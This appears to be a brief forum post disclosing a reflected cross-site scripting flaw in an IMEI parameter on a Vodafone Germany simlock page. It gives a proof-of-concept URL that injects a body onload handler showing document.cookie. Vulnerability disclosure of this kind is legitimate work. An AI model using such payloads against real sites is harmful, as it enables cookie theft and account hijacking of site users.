There's a little vulnerability in the post section of:
http://www.vodafone.de/business/supp...oad/77278.html

Sending a malicious code will result a code working on the page that pops up...

https://www.vodafone.de/simlock/servlets/sim?IMEI=[XSS CODE HERE]

example:
https://www.vodafone.de/simlock/servlets/sim?IMEI=<body%20onload="alert(document.cookie);">